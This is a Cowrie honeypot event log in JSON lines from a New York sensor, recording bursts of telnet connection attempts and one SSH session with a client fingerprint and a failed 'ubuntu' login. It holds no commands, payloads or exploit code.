{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":55296,"dst_ip":"159.203.135.109","dst_port":23,"session":"cd94f5778b46","protocol":"telnet","message":"New connection: 174.142.104.49:55296 (159.203.135.109:23) [session: cd94f5778b46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:52.073533Z"}
{"eventid":"cowrie.session.closed","duration":31.63258957862854,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:52.082523Z","src_ip":"174.142.104.49","session":"d4e5cbbc6bbf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.538674116134644,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:52.155880Z","src_ip":"174.142.104.49","session":"52864bc54d25","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":57122,"dst_ip":"159.203.135.109","dst_port":23,"session":"db1ce627e80c","protocol":"telnet","message":"New connection: 174.142.104.49:57122 (159.203.135.109:23) [session: db1ce627e80c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:52.203488Z"}
{"eventid":"cowrie.session.closed","duration":30.824934720993042,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:52.593738Z","src_ip":"174.142.104.49","session":"94d44b50d383","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":58306,"dst_ip":"159.203.135.109","dst_port":23,"session":"85a558e04cea","protocol":"telnet","message":"New connection: 174.142.104.49:58306 (159.203.135.109:23) [session: 85a558e04cea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:52.948956Z"}
{"eventid":"cowrie.session.closed","duration":31.30939269065857,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:53.057467Z","src_ip":"174.142.104.49","session":"73da54d51757","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00088739395142,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:53.066467Z","src_ip":"174.142.104.49","session":"40d86500728e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":53676,"dst_ip":"159.203.135.109","dst_port":23,"session":"214b1d16eed3","protocol":"telnet","message":"New connection: 174.142.104.49:53676 (159.203.135.109:23) [session: 214b1d16eed3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:53.071603Z"}
{"eventid":"cowrie.session.closed","duration":36.67759466171265,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:53.263669Z","src_ip":"174.142.104.49","session":"80481e499b74","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.068162441253662,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:53.294225Z","src_ip":"174.142.104.49","session":"246d98a9f9bf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.009957313537598,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:53.413637Z","src_ip":"174.142.104.49","session":"4b78de4aac32","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":54380,"dst_ip":"159.203.135.109","dst_port":23,"session":"764e7c9f2900","protocol":"telnet","message":"New connection: 174.142.104.49:54380 (159.203.135.109:23) [session: 764e7c9f2900]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:53.516933Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":59468,"dst_ip":"159.203.135.109","dst_port":23,"session":"bc7c86282806","protocol":"telnet","message":"New connection: 174.142.104.49:59468 (159.203.135.109:23) [session: bc7c86282806]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:53.610032Z"}
{"eventid":"cowrie.session.closed","duration":30.83786630630493,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:53.622768Z","src_ip":"174.142.104.49","session":"91be42155cc8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.260050058364868,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:53.924850Z","src_ip":"174.142.104.49","session":"0c5aff85d1b3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.82850480079651,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:54.197984Z","src_ip":"174.142.104.49","session":"0810e995e22f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.42826008796692,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:54.347216Z","src_ip":"174.142.104.49","session":"2f57d7fb968b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.32810354232788,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:54.390444Z","src_ip":"174.142.104.49","session":"996d710f3e93","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.427212238311768,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:54.411845Z","src_ip":"174.142.104.49","session":"c6232bf4d150","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.428592920303345,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:54.461101Z","src_ip":"174.142.104.49","session":"9c50f583e75e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":59861,"dst_ip":"159.203.135.109","dst_port":23,"session":"932b0695b521","protocol":"telnet","message":"New connection: 174.142.104.49:59861 (159.203.135.109:23) [session: 932b0695b521]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:54.865405Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":36320,"dst_ip":"159.203.135.109","dst_port":23,"session":"56730285ac90","protocol":"telnet","message":"New connection: 174.142.104.49:36320 (159.203.135.109:23) [session: 56730285ac90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:54.921774Z"}
{"eventid":"cowrie.session.closed","duration":30.358654260635376,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:55.270122Z","src_ip":"174.142.104.49","session":"da1c4d3738d5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.6.69","src_port":39468,"dst_ip":"159.203.135.109","dst_port":22,"session":"3127fa53f95c","protocol":"ssh","message":"New connection: 165.154.6.69:39468 (159.203.135.109:22) [session: 3127fa53f95c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:55.486458Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:55.492779Z","src_ip":"165.154.6.69","session":"3127fa53f95c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":34392,"dst_ip":"159.203.135.109","dst_port":23,"session":"0cdce444ee89","protocol":"telnet","message":"New connection: 174.142.104.49:34392 (159.203.135.109:23) [session: 0cdce444ee89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:55.597017Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":34496,"dst_ip":"159.203.135.109","dst_port":23,"session":"7dc9eb725222","protocol":"telnet","message":"New connection: 174.142.104.49:34496 (159.203.135.109:23) [session: 7dc9eb725222]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:55.664333Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:55.707815Z","src_ip":"165.154.6.69","session":"3127fa53f95c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00118088722229,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:55.882770Z","src_ip":"174.142.104.49","session":"4184bbaeb465","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":33706,"dst_ip":"159.203.135.109","dst_port":23,"session":"251a995712c8","protocol":"telnet","message":"New connection: 174.142.104.49:33706 (159.203.135.109:23) [session: 251a995712c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:56.141898Z"}
{"eventid":"cowrie.session.closed","duration":120.00128817558289,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:56.362979Z","src_ip":"174.142.104.49","session":"8d30fe5f28f4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.15970492362976,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:56.395801Z","src_ip":"174.142.104.49","session":"7736dd6ef491","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":34289,"dst_ip":"159.203.135.109","dst_port":23,"session":"889a96ce04af","protocol":"telnet","message":"New connection: 174.142.104.49:34289 (159.203.135.109:23) [session: 889a96ce04af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:56.538557Z"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Pass1234","message":"login attempt [ubuntu/Pass1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:56.597160Z","src_ip":"165.154.6.69","session":"3127fa53f95c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.55739450454712,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:56.783303Z","src_ip":"161.132.53.68","session":"d083d60594f5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.070554733276367,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:56.788511Z","src_ip":"174.142.104.49","session":"8a0433369b8e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":36730,"dst_ip":"159.203.135.109","dst_port":23,"session":"4c50fecd8c76","protocol":"telnet","message":"New connection: 174.142.104.49:36730 (159.203.135.109:23) [session: 4c50fecd8c76]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:57.022990Z"}
{"eventid":"cowrie.session.closed","duration":31.263317823410034,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:57.144145Z","src_ip":"174.142.104.49","session":"21f6d1ba0380","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.7604398727417,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:57.165857Z","src_ip":"174.142.104.49","session":"199bda838b53","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.502166509628296,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:57.185899Z","src_ip":"174.142.104.49","session":"0ccf2f2c2053","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":35508,"dst_ip":"159.203.135.109","dst_port":23,"session":"b4cd309efc5e","protocol":"telnet","message":"New connection: 174.142.104.49:35508 (159.203.135.109:23) [session: b4cd309efc5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:57.289009Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":37150,"dst_ip":"159.203.135.109","dst_port":23,"session":"2d3e792ba3d7","protocol":"telnet","message":"New connection: 174.142.104.49:37150 (159.203.135.109:23) [session: 2d3e792ba3d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:57.295522Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":43896,"dst_ip":"159.203.135.109","dst_port":23,"session":"8a90a0f598c2","protocol":"telnet","message":"New connection: 161.132.53.68:43896 (159.203.135.109:23) [session: 8a90a0f598c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:57.354745Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":60672,"dst_ip":"159.203.135.109","dst_port":23,"session":"edc391789690","protocol":"telnet","message":"New connection: 174.142.104.49:60672 (159.203.135.109:23) [session: edc391789690]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:57.385665Z"}
{"eventid":"cowrie.session.closed","duration":31.31770133972168,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:57.635835Z","src_ip":"161.132.53.68","session":"33c02cc72614","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:57.817248Z","src_ip":"165.154.6.69","session":"3127fa53f95c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":36392,"dst_ip":"159.203.135.109","dst_port":23,"session":"63bd017c85fd","protocol":"telnet","message":"New connection: 174.142.104.49:36392 (159.203.135.109:23) [session: 63bd017c85fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:57.833453Z"}
{"eventid":"cowrie.session.closed","duration":30.950809478759766,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:57.899468Z","src_ip":"174.142.104.49","session":"85fc86513fb2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":62.90450429916382,"message":"Connection lost after 62 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:57.970661Z","src_ip":"174.142.104.49","session":"3f2eadafb1b8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":72.38776421546936,"message":"Connection lost after 72 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:58.010852Z","src_ip":"174.142.104.49","session":"da4545724c7d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":33616,"dst_ip":"159.203.135.109","dst_port":23,"session":"4c892cb4403b","protocol":"telnet","message":"New connection: 174.142.104.49:33616 (159.203.135.109:23) [session: 4c892cb4403b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:58.105656Z"}
{"eventid":"cowrie.session.closed","duration":72.90323233604431,"message":"Connection lost after 72 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:58.320842Z","src_ip":"174.142.104.49","session":"d37c0d260a8e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.300342321395874,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:58.644386Z","src_ip":"174.142.104.49","session":"ba7ebd240e36","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":65.61795544624329,"message":"Connection lost after 65 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:58.913981Z","src_ip":"174.142.104.49","session":"d90422d78b45","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":35136,"dst_ip":"159.203.135.109","dst_port":23,"session":"0a62754c3b3c","protocol":"telnet","message":"New connection: 174.142.104.49:35136 (159.203.135.109:23) [session: 0a62754c3b3c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:59.113396Z"}
{"eventid":"cowrie.session.closed","duration":36.87827801704407,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:59.288602Z","src_ip":"174.142.104.49","session":"9732a239d066","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":40774,"dst_ip":"159.203.135.109","dst_port":23,"session":"2ad4b2f76016","protocol":"telnet","message":"New connection: 174.142.104.49:40774 (159.203.135.109:23) [session: 2ad4b2f76016]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:59.644256Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":34638,"dst_ip":"159.203.135.109","dst_port":23,"session":"4c21bd337271","protocol":"telnet","message":"New connection: 174.142.104.49:34638 (159.203.135.109:23) [session: 4c21bd337271]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:59.753613Z"}
{"eventid":"cowrie.session.closed","duration":31.7624192237854,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:00.187760Z","src_ip":"174.142.104.49","session":"6fc3c3ffb5be","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.527538061141968,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:00.260823Z","src_ip":"174.142.104.49","session":"acaa244a27e0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.620578050613403,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:00.304097Z","src_ip":"174.142.104.49","session":"3ab9b2d381a9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.606526136398315,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:00.308295Z","src_ip":"174.142.104.49","session":"4b1fcdd55feb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.35843896865845,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:00.392087Z","src_ip":"174.142.104.49","session":"d5bf2deacaf9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.47866129875183,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:00.725418Z","src_ip":"174.142.104.49","session":"a6d6fbe2fa88","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.49855351448059,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:00.738167Z","src_ip":"174.142.104.49","session":"0a127780f9f3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00837230682373,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:00.978252Z","src_ip":"174.142.104.49","session":"b8a36fed4645","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":41322,"dst_ip":"159.203.135.109","dst_port":23,"session":"5278eba71144","protocol":"telnet","message":"New connection: 174.142.104.49:41322 (159.203.135.109:23) [session: 5278eba71144]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:01.001435Z"}
{"eventid":"cowrie.session.closed","duration":120.00140714645386,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:01.479829Z","src_ip":"174.142.104.49","session":"1741f4aa1490","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.483813047409058,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:01.485113Z","src_ip":"174.142.104.49","session":"079f42f702df","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":62.92830777168274,"message":"Connection lost after 62 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:01.513637Z","src_ip":"174.142.104.49","session":"56e174365108","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":43690,"dst_ip":"159.203.135.109","dst_port":23,"session":"d2c2a5bb396d","protocol":"telnet","message":"New connection: 174.142.104.49:43690 (159.203.135.109:23) [session: d2c2a5bb396d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:01.544288Z"}
{"eventid":"cowrie.session.closed","duration":31.02963352203369,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:01.672829Z","src_ip":"174.142.104.49","session":"4c42e64a261a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":32880,"dst_ip":"159.203.135.109","dst_port":23,"session":"c4abda05112c","protocol":"telnet","message":"New connection: 174.142.104.49:32880 (159.203.135.109:23) [session: c4abda05112c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:01.834484Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":39798,"dst_ip":"159.203.135.109","dst_port":23,"session":"4fb6e8782e3b","protocol":"telnet","message":"New connection: 174.142.104.49:39798 (159.203.135.109:23) [session: 4fb6e8782e3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:01.973555Z"}
{"eventid":"cowrie.session.closed","duration":30.272465229034424,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:02.421326Z","src_ip":"174.142.104.49","session":"f51f82b44470","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":65.01343131065369,"message":"Connection lost after 65 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:02.457700Z","src_ip":"174.142.104.49","session":"3e66ad85cfd8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":45198,"dst_ip":"159.203.135.109","dst_port":23,"session":"f012beb11691","protocol":"telnet","message":"New connection: 174.142.104.49:45198 (159.203.135.109:23) [session: f012beb11691]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:02.554333Z"}
{"eventid":"cowrie.session.closed","duration":35.36455249786377,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:47:02.704625Z","src_ip":"161.132.53.68","session":"69ea5855465d","protocol":"telnet"}
